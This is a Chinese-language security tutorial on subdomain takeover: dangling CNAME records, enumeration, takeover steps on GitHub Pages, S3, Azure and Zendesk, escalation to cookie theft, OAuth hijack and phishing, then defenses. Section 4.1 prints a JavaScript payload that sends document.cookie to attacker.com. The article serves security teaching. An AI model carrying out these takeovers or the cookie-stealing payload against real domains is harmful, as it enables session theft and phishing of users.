网络安全实战:子域名接管实战——从 CNAME 配置错误到完全控制

前言:DNS 的"幽灵地址"

在互联网的庞大基础设施中,DNS(域名系统)就像是指路牌。它将人类可读的域名(如 example.com)翻译成机器可读的 IP 地址。然而,当这个指路牌指向了一片荒芜的空地,而这块空地恰好被攻击者买下时,会发生什么?

这就是子域名接管。这不仅仅是一个简单的配置错误,它是现代 Web 架构演进中诞生的"幽灵"。随着云计算、SaaS(软件即服务)平台的普及,企业越来越倾向于将业务模块化:用 GitHub Pages 托管博客,用 Shopify 搭建商城,用 AWS S3 存储静态资源,用 Zendesk 搭建客服工单。

这种便利性带来了一个副作用:资源生命周期的不同步 。开发者创建了一个子域名 blog.target.com,并在 GitHub Pages 上配置了 CNAME 指向。半年后,项目黄了,开发者删除了 GitHub 仓库,却忘了删除 DNS 记录。此时,DNS 记录依然指向 GitHub,但 GitHub 上已经没有任何内容。

这个子域名成了一个"幽灵地址"。如果我,一个攻击者,在 GitHub 上重新注册这个名字,我就瞬间接管了这个子域名。这不是理论,这是每天都在发生的实战。本文将带你深入这背后的攻防逻辑,从发现到利用,再到防御。

第一章 根源:CNAME 链路的断裂

要理解子域名接管,首先要理解 DNS 记录类型。虽然 A 记录指向 IP 地址,但子域名接管的主角通常是 CNAME 记录。

1.1 CNAME 的代理陷阱

CNAME(Canonical Name)即别名记录。它把一个域名指向另一个域名。

例如:

blog.target.com -> CNAME -> target.github.io

浏览器解析流程如下:

  1. 用户访问 blog.target.com。
  2. DNS 解析返回 target.github.io。
  3. 浏览器再次解析 target.github.io,拿到 GitHub 的 IP。
  4. 浏览器请求 GitHub 服务器。
    危机点 :
    当目标企业不再使用 GitHub Pages 服务,删除了 target.github.io 这个仓库,但 DNS 管理员因为疏忽,没有删除 blog.target.com 的 CNAME 记录。
    此时,DNS 依然会告诉浏览器:"去问 target.github.io"。但 GitHub 服务器上,已经没有人认领这个名字了。

1.2 责任的模糊地带

这与 A 记录的接管不同。如果你看到一个 A 记录指向一个未注册的 IP 段,你很难利用它(除非你在那个 IP 段内,或者你能 BGP 劫持路由)。

但 CNAME 指向的是第三方 SaaS 平台。这意味着,谁能在那个 SaaS 平台上认领这个名字,谁就拥有了这个子域名 。

这本质上是一种"权限提升":攻击者在第三方平台上的权限(普通用户)提升到了目标子域名的权限(合法所有者)。

第二章 侦察:在黑暗中寻找"空房子"

攻击始于发现。我们需要在浩瀚的子域名海洋中,筛选出那些已经断裂的"幽灵"记录。

2.1 子域名枚举的艺术

首先,我们要拿到尽可能多的子域名列表。这一步虽然基础,但决定了上限。

  • 字典爆破 :使用 Sublist3r、Gobuster 或 Amass,配合大字典,枚举常见子域名。
  • 证书透明度日志(CT Log) :利用 crt.sh 或 Censys 查询目标域名的 SSL 证书历史。很多隐藏的子域名会出现在证书的 SAN(Subject Alternative Name)字段中。
  • 搜索引擎挖掘 :利用 Google Dorks,如 site:target.com,寻找被索引的子域名。

2.2 筛选:指纹识别与 CNAME 提取

拿到列表后,我们需要提取 CNAME 记录。这是关键的一步。

可以使用 dnscan、Altdns 或者写一个简单的 Python 脚本批量解析。

实战关注点 :

我们重点寻找那些指向特定 SaaS 平台的 CNAME:

  • *.github.io (GitHub Pages)
  • *.herokuapp.com (Heroku)
  • *.azurewebsites.net (Azure App Service)
  • *.elasticbeanstalk.com (AWS Elastic Beanstalk)
  • *.s3.amazonaws.com (AWS S3)
  • *.shopify.com (Shopify)
  • *.zendesk.com (Zendesk)
  • *.myshopify.com
  • 以及各种 CDN 域名(如 c.custom.com)

2.3 验证:识别"未认领"状态

有了 CNAME 列表,如何判断它是否可接管?

最直观的方法是访问。

  • GitHub Pages:访问子域名,如果显示"404 There isn't a GitHub Pages site here.",且响应头中不包含特定的防止接管的标识,通常意味着该名字未被占用。
  • Heroku:显示"There's nothing here, yet."或类似的默认页面。
  • AWS S3 :返回 NoSuchBucket 错误。
  • Azure :返回 404 页面,页面标题通常包含"404 Web Site not found"。
    自动化工具 :
    手工验证效率太低。推荐使用 Subover、Can-I-Take-Over-XYZ 或 Nuclei 的特定模板。
    Nuclei 在这方面非常强大,它内置了大量 SaaS 平台的指纹匹配规则。例如,它会检测响应内容中是否包含"NoSuchBucket"或"Domain is not configured"。
    关键细节 :
    很多时候,目标域名虽然指向了第三方服务,但可能因为配置错误(如 SSL 证书不匹配)导致浏览器报错。
    不要被浏览器的警告吓跑。
    作为攻击者,我们要用 curl -k(忽略证书)去查看底层的响应内容。SSL 错误可能恰恰是因为你还没有配置证书,而底层的错误信息才是判断是否可接管的依据。

第三章 实战接管:主流平台攻防演练

发现只是开始,真正的利用在于"入驻"。不同的平台,接管的方式略有不同。

3.1 经典案例:GitHub Pages 接管

这是最常见、最优雅的接管场景。

  1. 确认状态 :访问 sub.target.com,看到 GitHub 的 404 页面。
  2. 注册与验证:在 GitHub 上创建一个仓库,名字随意。进入 Settings -> Pages。
  3. 关键一步 :在 Custom domain 输入框填入 sub.target.com。
  4. DNS 校验:GitHub 会检测 DNS 是否指向它。由于 CNAME 记录存在,校验通过。
  5. 接管成功 :等待 DNS 生效,再次访问 sub.target.com,你会发现它显示了你仓库里的 index.html 内容。
    额外收益 :
    一旦接管成功,你甚至可以为目标域名申请 Let's Encrypt 的 SSL 证书。GitHub 会自动帮你配置 HTTPS。这意味着,你拥有了一个受目标域名信任的、带绿锁的高可信站点。

3.2 云服务商:AWS S3 与 Azure

AWS S3 接管 :

如果 CNAME 指向 bucket-name.s3.amazonaws.com 且返回 NoSuchBucket:

  1. 登录你的 AWS 控制台。
  2. 创建一个名为 bucket-name 的 S3 存储桶(名字必须完全匹配 CNAME 指向的那个)。
  3. 开启静态网站托管。
  4. 接管完成。
    风险升级 :
    如果是 cloudfront.net 或自定义的 CDN 域名指向 S3,情况更复杂。有时 S3 存在但 CloudFront 配置错误。攻击者可能需要创建一个新的 CloudFront Distribution 并关联到自己的 S3,但这通常受限于原 CNAME 是否被其他 Distribution 占用。
    Azure App Service :
    CNAME 指向 target.azurewebsites.net。
  5. 在 Azure 上创建一个 App Service。
  6. 尝试绑定自定义域名 sub.target.com。
  7. Azure 会验证域名所有权。由于 CNAME 存在,它会认为你拥有该域名(通过 CNAME 验证)。
  8. 接管成功。

3.3 企业服务:Zendesk 与 Helpshift

很多企业的客服系统托管在第三方。

如果发现 support.target.com 指向 target.zendesk.com:

  1. 在 Zendesk 注册账号。
  2. 尝试修改账号设置,添加 target.zendesk.com 作为你的子域名。
  3. 如果该名字未被占用,Zendesk 会允许你注册。这意味着你接管了该企业的客服入口。
  4. 更危险的是:部分配置下,接管客服子域名后,可能继承企业的邮件发送信誉,导致可以伪造客服邮件发送钓鱼链接。

第四章 升级利用:从"到此一游"到完全控制

很多漏洞报告止步于"我放置了一个页面,证明漏洞存在"。但在红队实战中,这仅仅是第一枪。子域名接管的真正威力在于它打破了浏览器的同源策略(SOP)信任链。

这是最直接的危害。

浏览器在设置 Cookie 时,通常使用 .target.com 的通配符域名。

这意味着,用户在 www.target.com 登录后生成的 Session Cookie,会在访问 sub.target.com(被我们接管的子域名)时自动发送给我们的服务器。

攻击路径:

  1. 攻击者接管 test.target.com。
  2. 攻击者在 test.target.com 放置恶意 JS:document.write('<img src="https://attacker.com/steal?c='+document.cookie+'">')。
  3. 攻击者诱导管理员或用户点击链接,或利用社工手段让用户访问 test.target.com。
  4. Cookie 外泄,攻击者直接登录 www.target.com 后台。
    注意 :现代网站常使用 SameSite 属性限制 Cookie 发送。
  • SameSite=Lax:大部分跨站 GET 请求不发送 Cookie,但用户直接点击链接访问 test.target.com 时,Cookie 还是会发送。
  • SameSite=None:完全发送。

4.2 绕过 CSP(内容安全策略)

如果主站的 CSP 策略配置宽松,比如 script-src 'self' *.target.com,那么被接管的子域名就成为了 XSS 的"天堂"。攻击者上传的恶意脚本会被浏览器认为是"自己人",直接放行。

4.3 OAuth 流程劫持

现代 Web 应用广泛使用 OAuth 2.0 进行第三方登录(如微信登录、Google 登录)。

OAuth 的回调地址通常配置为 *.target.com。

如果攻击者控制了 oauth.target.com,并且该子域名被配置在白名单内:

  1. 攻击者构造恶意的 OAuth 授权链接。
  2. 用户点击授权。
  3. 第三方平台(如 Google)将用户的 Token 重定向到 oauth.target.com。
  4. 攻击者的服务器截获 Token。
  5. 攻击者利用 Token 登录用户账号。
    这在大型企业的单点登录(SSO)系统中尤为致命。

4.4 钓鱼的终极形态:域名伪装

被接管的子域名拥有企业真实的 SSL 证书(通过 Let's Encrypt 自动签发),URL 栏显示绿锁,域名是企业的合法子域名。

pay.target.com(被接管) vs pay-target.com(钓鱼)。

前者对用户的迷惑性是毁灭性的。攻击者可以搭建一个高仿的支付页面,诱导用户转账,或者发送带有该链接的邮件,通过企业邮件网关的信誉检测(因为域名信誉是好的)。

第五章 防御体系:资产管理是第一道防线

子域名接管的核心问题是"资产失控"。防御的本质是管理。

5.1 源头控制:DNS 记录的闭环管理

建立变更同步机制 :

当业务下线、SaaS 服务停止使用、云资源销毁时,必须同步清理 DNS 记录。

这听起来简单,但在大型组织中极难执行。运维删除了 GitHub 仓库,可能根本不知道还有个 DNS 记录需要通知网络组删除。

防御策略 :

建立 DNS 记录的"所有者"制度。每条 CNAME 记录必须有明确的负责人和业务归属。定期审计"僵尸"记录。

5.2 监控与预警:守望者

使用 Canary(金丝雀)技术 :

在被废弃的域名解析前,部署监控。

使用自动化工具(如定期运行 Nuclei 或自定义脚本)检测企业域名下的 CNAME 记录,一旦发现指向的目标返回 404 或特定的"未注册"特征,立即告警。

云厂商的防接管机制 :

部分云厂商(如 GitHub Pages)现在会在用户首次配置自定义域名时,向 DNS 记录中添加一个 TXT 验证记录。如果不通过验证,即使 CNAME 指向正确,也无法接管。这是一个非常好的设计,建议开发者在开发 SaaS 平台时引入此机制。

5.3 补救措施:被接管后的止损

如果发现已经被接管,不要惊慌。

  1. 立即切断:在 DNS 服务商处,立即删除指向恶意源的 CNAME 记录,或者将其指向 127.0.0.1。
  2. 全面审计 :检查主站的 Cookie 设置,是否使用了通配符且未设置 SameSite。检查 CSP 策略是否被滥用。
  3. 日志溯源:查看被接管期间的访问日志,确认是否有敏感数据外泄,是否有管理员账号登录过该子域名。

结语:每一个被遗忘的域名,都是敞开的后门

子域名接管是一个典型的"生命周期管理"漏洞。它不涉及复杂的代码逻辑,不涉及内存溢出,它利用的是人类在流程上的疏忽。

在云时代,我们的资产分布在 AWS、Azure、GitHub、Zendesk... 边界变得极其模糊。攻击者不需要攻破你的防火墙,只需要找到你扔在角落里的一串钥匙------那个指向空无之地的 CNAME 记录。

作为防御者,我们要做的不仅是修补代码,更是建立严密的资产管理制度。记住,在互联网上,没有所谓的"废弃资产",只有暂时未被攻击者发现的"靶子"。

相关推荐
aixingkong92141 分钟前
Nvidia为例 XPU的Multi-Host、Socket Direct 、GPUDirect、RDMA 技术点分析
服务器·网络·硬件架构·硬件工程
Thneonl9 小时前
Flink Operator 的隐藏陷阱:容器名不是你以为的那个
安全·kubernetes
Thneonl9 小时前
kubectl scale ds 是个 404:DaemonSet 没有 replicas
安全·kubernetes
青Cheng序员石头9 小时前
失控之前 | AI 安全到底在保护什么?
后端·安全·aigc
云水一下6 天前
零基础玩转bWAPP靶场(七十一):Slow HTTP DoS(慢速HTTP拒绝服务)
web安全·bwapp·slowhttptest
虎头金猫6 天前
4K 视频总卡在公网带宽?用 N1 + OpenList 把网盘播放链路重新理顺
运维·服务器·网络·python·容器·beautifulsoup·pandas
龙亘川6 天前
一网统管AI平台民生业务实践:基于城市数字底座赋能公积金业务服务升级
大数据·安全·智慧城市·开源软件·数据可视化·政务
wuyk5556 天前
《WiFi 嵌入式物联网开发全套实战》| 第 16 章 ESP32 AP+STA 双模共存原理与工程坑点
网络·stm32·物联网
kybs19916 天前
全球灾害数据分析可视化 毕业设计-附源码66794
vue.js·spring boot·mysql·安全·django·c#·asp.net